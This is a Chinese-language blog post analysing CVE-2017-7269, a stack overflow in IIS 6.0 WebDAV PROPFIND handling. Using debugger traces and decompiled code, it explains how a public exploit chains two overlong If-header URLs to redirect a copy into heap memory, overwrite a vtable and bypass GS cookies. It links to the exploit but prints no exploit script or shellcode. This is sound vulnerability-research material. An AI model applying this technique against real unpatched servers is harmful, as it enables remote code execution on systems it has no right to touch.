轉載請注明出處
作者:k0shl
作者博客:http://whereisk0shl.top
前言
CVE-2017-7269是IIS 6.0中存在的一個棧溢出漏洞,在IIS6.0處理PROPFIND指令的時候,由于對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢出,該漏洞可以導致遠程代碼執行。
目前在github上有一個在windows server 2003 r2上穩定利用的exploit,這個exp目前執行的功能是彈計算器,使用的shellcode方法是alpha shellcode,這是由于url在內存中以寬字節形式存放,以及其中包含的一些badchar,導致無法直接使用shellcode執行代碼,而需要先以alpha shellcode的方法,以ascii碼形式以寬字節寫入內存,然后再通過一小段解密之后執行代碼。
github地址:https://github.com/edwardz246003/IIS_exploit
這個漏洞其實原理非常簡單,但是其利用方法卻非常有趣,我在入門的時候調試過很多stack overflow及其exp,但多數都是通過覆蓋ret,覆蓋seh等方法完成的攻擊,直到我見到了這個exploit,感覺非常藝術。但這個漏洞也存在其局限性,比如對于aslr來說似乎沒有利用面,因此在高版本windows server中利用似乎非常困難,windows server 2003 r2沒有aslr保護。
在這篇文章中,我將首先簡單介紹一下這個漏洞的利用情況;接著,我將和大家一起分析一下這個漏洞的形成原因;然后我將給大家詳細介紹這個漏洞的利用,最后我將簡要分析一下這個漏洞的rop及shellcode。
我是一只菜鳥,如有不當之處,還望大家多多指正,感謝閱讀!
彈彈彈--一言不合就“彈”計算器
漏洞環境搭建
漏洞環境的搭建非常簡單,我的環境是windows server 2003 r2 32位英文企業版,安裝之后需要進入系統配置一下iis6.0,首先在登陸windows之后,選擇配置服務器,安裝iis6.0服務,之后進入iis6.0管理器,在管理器中,有一個windows擴展,在擴展中有一個webdav選項,默認是進入用狀態,在左側選擇allow,開啟webdav,之后再iis管理器中默認網頁中創建一個虛擬目錄(其實這一步無所謂),隨后選擇run->services.msc->WebClient服務,將其開啟,這樣完成了我的配置。
觸發漏洞
漏洞觸發非常簡單,直接在本地執行python exp.py即可,這里為了觀察過程,我修改了exp,將其改成遠程,我們通過wireshark抓包,可以看到和目標機的交互行為。

可以看到,攻擊主機向目標機發送了一個PROPFIND數據包,這個是負責webdav處理的一個指令,其中包含了我們的攻擊數據,一個<>包含了兩個超長的httpurl請求,其中在兩個http url中間還有一個lock token的指令內容。
隨后我們可以看到,在靶機執行了calc,其進程創建在w2wp進程下,用戶組是NETWORK SERVICE。

我在最開始的時候以為這個calc是由于SW_HIDE的參數設置導致在后臺運行,后來發現其實是由于webdav服務進程本身就是無窗口的,導致calc即使定義了SW_SHOWNORMAL,也只是在后臺啟動了。
事實上,這個漏洞及時沒有后面的<>中的http url,單靠一個IF:<>也能夠觸發,而之所以加入了第二個<>以及lock token,是因為作者想利用第一次和第二次http請求來完成一次精妙的利用,最后在
我嘗試去掉第二次<>以及

CVE-2017-7269漏洞分析
這個漏洞的成因是在WebDav服務動態鏈接庫的httpext.dll的ScStorageFromUrl函數中,這里為了方便,我們直接來跟蹤分析該函數,在下一小節內容,我將和大家來看看整個精妙利用的過程。我將先動態分析整個過程,然后貼出這個存在漏洞函數的偽代碼。
在ScStorageFromUrl函數中,首先會調用ScStripAndCheckHttpPrefix函數,這個函數主要是獲取頭部信息進行檢查以及對host name進行檢查。
0:009> p//調用CchUrlPrefixW獲取url頭部信息
eax=67113bc8 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW (6712c72a)}
0:009> p
eax=00000007 ebx=00fffbe8 ecx=00fff4cc edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335f6 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f6 8bd8 mov ebx,eax
0:009> dc esi l6//esi存放頭部信息,以及server name,這個localhost會在后面獲取到。
0060c648 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c658 0063006f 006c0061 o.c.a.l.
在check完http頭部和hostname之后,會調用wlen函數獲取當前http url長度。
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce8 50 push eax
0:009> p
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126ce9 esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9 ff1550121167 call dword ptr [httpext!_imp__wcslen (67111250)] ds:0023:67111250={msvcrt!wcslen (77bd8ef2)}
0:009> r eax
eax=0060e7d0
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
0060e7f0 38714433 5a625765 56615435 6a536952 3Dq8eWbZ5TaVRiSj
0060e800 384e5157 63555948 43644971 34686472 WQN8HYUcqIdCrdh4
0060e810 71794758 6b55336b 504f6d48 34717a46 XGyqk3UkHmOPFzq4
0060e820 74436f54 6f6f5956 34577341 7a726168 ToCtVYooAsW4harz
0060e830 4d493745 5448574e 367a4c38 62663572 E7IMNWHT8Lz6r5fb
0060e840 486d6e43 61773548 61744d5a 43654133 CnmHH5waZMta3AeC
0:009> p
eax=000002fd ebx=0060b508 ecx=00600000 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cef esp=00fff32c ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef 59 pop ecx
0:009> r eax
eax=000002fd
在利用的關鍵一次,我們獲取的是poc中http://localhost/bbbbb 的字符串,這個字符串長度很長,可以看到eax寄存器存放的是url長度,長度是0x2fd,隨后會進入一系列的判斷,主要是檢查url中一些特殊字符,比如0x2f。
0:009> g//eax存放的是指向url的指針,這里會獲取指針的第一個字符,然后和“/”作比較
Breakpoint 1 hit
eax=0060e7d0 ebx=0060b508 ecx=006058a8 edx=0060e7d0 esi=00605740 edi=00000000
eip=67126cd7 esp=00fff334 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd7 6683382f cmp word ptr [eax],2Fh ds:0023:0060e7d0=002f
0:009> dc eax
0060e7d0 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0060e7e0 61757948 6f674f43 48456b6f 67753646 HyuaCOgookEHF6ug
經過一系列的檢查之后,會進入一系列的memcpy函數,主要就是用來構造虛擬文件路徑,這個地方拷貝的長度沒有進行控制,而拷貝的目標地址,是在外層函數調用stackbuff申請的地址,這個地址會保存在棧里。在ScStorageFromUrl函數中用到,也就是在memcpy函數中用到,作為目的拷貝的地址。
ScStorageFromUrl函數中實際上在整個漏洞觸發過程中會調用很多次,我們跟蹤的這一次,是在漏洞利用中的一個關鍵環節之一。首先我們來看一下第一次有效的memcpy
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00000012 edi=680312c0
eip=67126fa9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa9 8db5c4fbffff lea esi,[ebp-43Ch]
0:009> p
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=00fff35c edi=680312c0
eip=67126faf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faf f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:009> r esi
esi=00fff35c
0:009> dc esi
00fff35c 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff36c 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff37c 0074006f 0062005c 00620062 00620062 o.t.\.b.b.b.b.b.
00fff38c 00620062 61757948 6f674f43 48456b6f b.b.HyuaCOgookEH
這次memcpy拷貝過程中,會將esi寄存器中的值拷貝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,這個值很有意思,在之前我提到過,這個buffer的值會在外層函數中申請,并存放在棧中,因此正常情況應該是向一個棧地址拷貝,而這次為什么會向一個堆地址拷貝呢?
這是個懸念,也是我覺得這個利用巧妙的地方,下面我們先進入后面的分析,在memcpy中,也就是rep movs中ecx的值決定了memcpy的長度,第一次拷貝的長度是0x9。
接下來,回進入第二次拷貝,這次拷貝的長度就比較長了。
0:009> p//長度相減,0x2fd-0x0
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc4 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc4 2bda sub ebx,edx
0:009> r ebx
ebx=000002fd
0:009> r edx
edx=00000000
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc6 8d3456 lea esi,[esi+edx*2]
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000000 esi=0060e7d0 edi=680312e4
eip=67126fc9 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc9 8b95b0fbffff mov edx,dword ptr [ebp-450h] ss:0023:00fff348=680312c0
0:009> p
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fcf esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf 8d3c10 lea edi,[eax+edx]
0:009> p//ecx的值為dword值
eax=00000024 ebx=000002fd ecx=00000000 edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd2 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd2 8d4c1b02 lea ecx,[ebx+ebx+2]
0:009> p
eax=00000024 ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd6 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd6 8bc1 mov eax,ecx
0:009> p//最后拷貝的長度再除以4
eax=000005fc ebx=000002fd ecx=000005fc edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fd8 esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8 c1e902 shr ecx,2
0:009> p//這次拷貝17f的值 key!!!看ecx
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=0060e7d0 edi=680312e4
eip=67126fdb esp=00fff330 ebp=00fff798 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,這次拷貝的長度是0x17f,長度非常大,而在整個分析的過程中,并沒有對拷貝的長度進行控制,因此,可以拷貝任意超長的字符串,進入這個堆空間。
這個堆空間非常有意思,存放的是一個vftable,這個vftable會在ScStorageFromUrl函數中的某個內層函數調用調用到,還記得之前分析的ScStripAndCheckHttpPrefi函數嗎。
0:009> p//正常情況ScStripAndCheckHttpPrefix函數中對vftable的獲取
eax=00fff9a4 ebx=00fffbe8 ecx=00605740 edx=00fff4f8 esi=0060c648 edi=00605740
eip=671335e8 esp=00fff4b8 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e8 8b07 mov eax,dword ptr [edi] ds:0023:00605740={httpext!CEcb::`vftable' (67113bc8)}
獲取完虛表之后,會獲取到對應的虛函數,在ScStripAndCheckHttpPrefix函數中call調用到。但是由于之前的memcpy覆蓋,導致這個vftable被覆蓋。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f0 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f0 8955f4 mov dword ptr [ebp-0Ch],edx ss:0023:00fff4c4=00000000
0:009> p//eax是vftable,而call [eax+24]調用虛函數,這里由于之前的覆蓋,導致跳轉到可控位置
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
這個漏洞的原理非常簡單,在PROPFIND中,由于對http的長度沒有進行檢查,導致在memcpy中,可以拷貝超長的字符串,覆蓋到棧中的關鍵位置,下面來看一下偽代碼。
__int32 __fastcall ScStoragePathFromUrl(const struct IEcb *a1, wchar_t *a2, unsigned __int16 *a3, unsigned int *a4, struct CVRoot **a5)
{
v35 = a3;
v5 = a1;
Str = a2;
v37 = (int)a1;
v34 = a4;
v33 = a5;
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&Str);//主要用來檢查開頭信息,比如http頭以及host等等
if ( result < 0 )
return result;
if ( *Str != 47 )//判斷第一個值是不是/
return -2146107135;
v7 = _wcslen(Str);//獲取str長度,也就是畸形url長度
result = IEcbBase::ScReqMapUrlToPathEx(Str, WideCharStr);
v36 = result;
if ( result < 0 )
return result;
v8 = (*(int (__thiscall **)(const struct IEcb *, wchar_t **))(*(_DWORD *)v5 + 52))(v5, &Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW (6712d665) 獲取虛擬路徑
if ( v8 == v42 )
{
if ( !v8 || Str[v8 - 1] && !__wcsnicmp(Str1, Str, v8) )
goto LABEL_14;
}
else if ( v8 + 1 == v42 )
{
v9 = Str[v8];
if ( v9 == 47 || !v9 )
{
--v42;
goto LABEL_14;
}
}
v36 = 1378295;
LABEL_14:
if ( v36 == 1378295 && a5 )
{
……
}
v16 = v41;
if ( v41 )
{
v17 = (const unsigned __int16 *)((char *)&v39 + 2 * v41 + 2);
if ( *v17 == 92 )
{
while ( v16 && *v17 == 92 && !FIsDriveTrailingChar(v17, v16) )
{
v41 = --v16;
--v17;
}
}
else if ( !*v17 )
{
v16 = v41-- - 1;
}
}
v18 = v16 - v42 + v7 + 1;
v19 = *v34 < v18;
v37 = v16 - v42 + v7 + 1;
if ( v19 )
{
……
}
else//進入這一處else處理
{
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, WideCharStr, 4 * v24);//拷貝虛擬路徑
v26 = &WideCharStr[2 * v24];
v25 = &v21[2 * v24];
LOBYTE(v24) = v23;
v27 = v42;
qmemcpy(v25, v26, v24 & 3);
v28 = v7 - v27;//這里v7是0x2fd,相減賦值給v28,這個值很大,v27為0
v29 = &Str[v27];
v30 = v35;
qmemcpy(&v35[v22], v29, 2 * v28 + 2);//直接拷貝到棧中,沒有對長度進行檢查,導致溢出
for ( i = &v30[v41]; *i; ++i )
{
if ( *i == 47 )
*i = 92;
}
*v34 = v37;
result = v36;
}
return result;
}
CVE-2017-7269 Exploit!精妙的漏洞利用
其實通過上面的分析,我們發現這個漏洞的 原理非常簡單,但是究竟如何利用呢,我們來看一下關于ScStorageFromUrl函數中,包含了GS check,也就是說,我們在進行常規的覆蓋ret方式利用的情況下,將會把cookie也會覆蓋,導致利用失敗。
.text:67127017 loc_67127017: ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+50j
.text:67127017 ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+67j
.text:67127017 mov ecx, [ebp+var_C]
.text:6712701A pop edi
.text:6712701B mov large fs:0, ecx
.text:67127022 mov ecx, [ebp+var_10]
.text:67127025 pop esi
.text:67127026 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:6712702B leave
.text:6712702C retn 0Ch
漏洞利用非常精妙,也就是用這種方法,巧妙的繞過了gs的檢查,最后達到漏洞利用,穩定的代碼執行,首先,WebDav對數據包的處理邏輯是在DAVxxx函數中完成的。比如當前數據包是PROPFIND,那么當前的函數處理邏輯就是DAVpropfind函數。
0:009> kb
ChildEBP RetAddr Args to Child
00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl
00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124
00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0
00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47
在內層的函數處理邏輯中,有一處關鍵的函數處理邏輯HrCheckIfHeader,主要負責DAVPropFind函數對頭部的check,這個函數處理邏輯中有一處while循環,我已經把這個循環的關鍵位置的注釋寫在偽代碼中。
__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)
while ( 2 )
{
v6 = IFITER::PszNextToken(&v20, 0);
v7 = v6;
if ( v6 )//這里獲取下一個url值,第一輪會進入這里,第二輪也會,第三輪就進不去了
{
CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);
v9 = (const wchar_t *)(v7 + 2);
LOBYTE(v34) = 2;
v27 = _wcslen(v9);
if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )
goto LABEL_35;
v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);
if ( v5 )
goto LABEL_43;
v27 = v29 >> 3;
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
if ( v5 == 1 )
{
if ( !CStackBuffer<unsigned short,260>::resize(v27) )
{
LABEL_35:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
v5 = -2147024882;
goto LABEL_39;
}
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
}
if ( v5 < 0 )
{
LABEL_43:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
goto LABEL_39;
}
v10 = _wcslen(Str);
v27 = v10;
v11 = &Str[v10 - 1];
if ( *v11 == 62 )
*v11 = 0;
v8 = Str;
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
}
else
{
if ( !v25 )//進不去就跳入這里,直接break掉,隨后進入locktoken,會調用sc函數
goto LABEL_38;
v8 = (const unsigned __int16 *)v24;
}
v25 = 0;
for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )
{
v17 = i;
if ( !i )
break;
v12 = *i;
if ( *v17 == 60 )
{
v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);
}
else if ( v12 == 91 )
{
if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)
|| !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )
{
LABEL_26:
if ( v22 )
goto LABEL_27;
goto LABEL_30;
}
v14 = v17 + 1;
if ( *v14 == 87 )
v14 += 2;
v15 = _wcslen(&String);
v13 = _wcsncmp(&String, v14, v15);
}
else
{
v13 = -2147467259;
}
if ( v13 )
goto LABEL_26;
if ( !v22 )//如果不等于22,則v26為1 continue,這里v22為0
{
LABEL_27:
v26 = 1;
v19 = 3;
continue;
}
LABEL_30:
v26 = 0;
v19 = 4;
}
v2 = 0;
if ( v26 )//這里進這里
{
v6 = IFITER::PszNextToken(&v20, 1);//獲得下一個url部分,第一次處理完,由于后面還有url,所以這里v6會有值,而第二次,這里后面沒有值了
continue;
}
break;
}
如果看的比較迷糊,可以看我下面的描述,首先這個while函數中,有一個非常有意思的函數PszNextToken,這個函數會連續獲取<>中的http url,直到后面沒有http url,則跳出循環,這也是這個漏洞利用的關鍵條件。
首先,第一次會處理IF后面的第一個http url,這個url就是http://localhost/aaaa ..,這個處理過程,實際上就完成了第一次溢出,首先stackbuffer會通過CStackBuffer函數獲取,獲取到之后,這個值會存放在stack中的一個位置。接下來會進行第一次ScStorageFromUrl,這個地方會對第一個<>中的http url處理。長度是0xa7。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}//第一次處理aaaa部分,長度只有a7
0:009> dc 60c64a
0060c64a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c65a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060c66a 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
0060c67a 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
0:009> p
eax=000000a7
這個a7長度很小,不會覆蓋到gs,因此可以通過security check,但是這個a7卻是一個溢出,它超過了stack buffer的長度,會覆蓋到stack中關于stack buffer指針的存放位置。這個位置保存在ebp-328的位置。
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff push dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328//注意拷貝的地址,這個90c是scstoragepathfromurl要拷貝的棧地址
00fff90c 00fff804 6711205b 00000013 00fff9c0
00fff91c 671287e7 00000000 000000f0 00000013
可以看到,第一次ScStoragePathFromUrl的時候,拷貝的地址是一個棧地址,通過stackbuffer申請到的,但是由于memcpy引發的棧溢出,導致這個地方值會被覆蓋。
0:009> g//執行結束ScStoragePathFromUrl函數執行返回后
Breakpoint 0 hit
eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2
eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl:
67126c7b b8150d1467 mov eax,offset httpext!swscanf+0x14b5 (67140d15)
0:009> g
Breakpoint 3 hit
eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax
0:009> dc fff804//第一次memcpy之后,覆蓋到了90c的位置
00fff804 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff814 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff824 0074006f 0061005c 00610061 00610061 o.t.\.a.a.a.a.a.
00fff834 00610061 78636f68 71337761 47726936 a.a.hocxaw3q6irG
00fff844 4b777a39 75534f70 48687a4f 6d545663 9zwKpOSuOzhHcVTm
00fff854 39536845 5567506c 33646763 78454630 EhS9lPgUcgd30FEx
00fff864 54316952 6a514c58 42317241 58507035 Ri1TXLQjAr1B5pPX
00fff874 6c473664 546a3539 54435034 50617752 d6Gl95jT4PCTRwaP
0:009> dd fff900
00fff900 5a306272 54485938 02020202 680312c0
經過這次stack buffer overflow,這個值已經被覆蓋,覆蓋成了一個堆地址0x680312c0。接下來進入第二次調用。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}
0:009> dc 60d32a
0060d32a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060d33a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060d34a 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0:009> p
eax=0000030d
第二次獲得http://localhost/bbbbb ...的長度,這個長度有0x30d,非常長,但是對應保存的位置變了。
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x110:
67125436 50 push eax
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x111:
67125437 ffb5d8fcffff push dword ptr [ebp-328h] ss:0023:00fff90c=680312c0
0:009> dc ebp-328
00fff90c 680312c0 52566c44 6c6d4b37 585a4f58 ...hDlVR7KmlXOZX
00fff91c 496a7950 4a52584f 664d4150 680313c0 PyjIOXRJPAMf...h
00fff92c 65314834 6e666f43 436c7441 680313c0 4H1eCofnAtlC...h
00fff93c 6a415343 33307052 424c5866 6346704b CSAjRp03fXLBKpFc
0:009> dd 680312c0//要用到的堆地址,這個地址會在最后用到
680312c0 00000000 00000000 00000000 00000000
680312d0 00000000 00000000 00000000 00000000
680312e0 00000000 00000000 00000000 00000000
可以看到,第二次利用的時候,會把ebp-328這個地方的值推入棧中,這個地方應該是stack buffer的地址,應該是個棧地址,但是現在變成了堆地址,就是由于第一次棧溢出,覆蓋了這個變量。
而這個值,會作為參數傳入ScStorageFromUrl函數,作為memcpy拷貝的值。
這也就解釋了為什么我們在上面分析漏洞的時候,會是向堆地址拷貝,而這一次拷貝,就不需要控制長度了,因為這個地方的值已經是堆地址,再怎么覆蓋,也不會覆蓋到cookie。這里未來要覆蓋IEcb虛表結構。從而達到漏洞利用。這樣,第二次向堆地址拷貝之后,這個堆地址會覆蓋到IEcb的虛表,這個虛表結構會在最后利用時引用到。
在PoC中,有一處
0:009> p
eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104
eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80 e803100000 call httpext!_EH_prolog (67127c88)
0:009> kb
ChildEBP RetAddr Args to Child
00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5
00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18
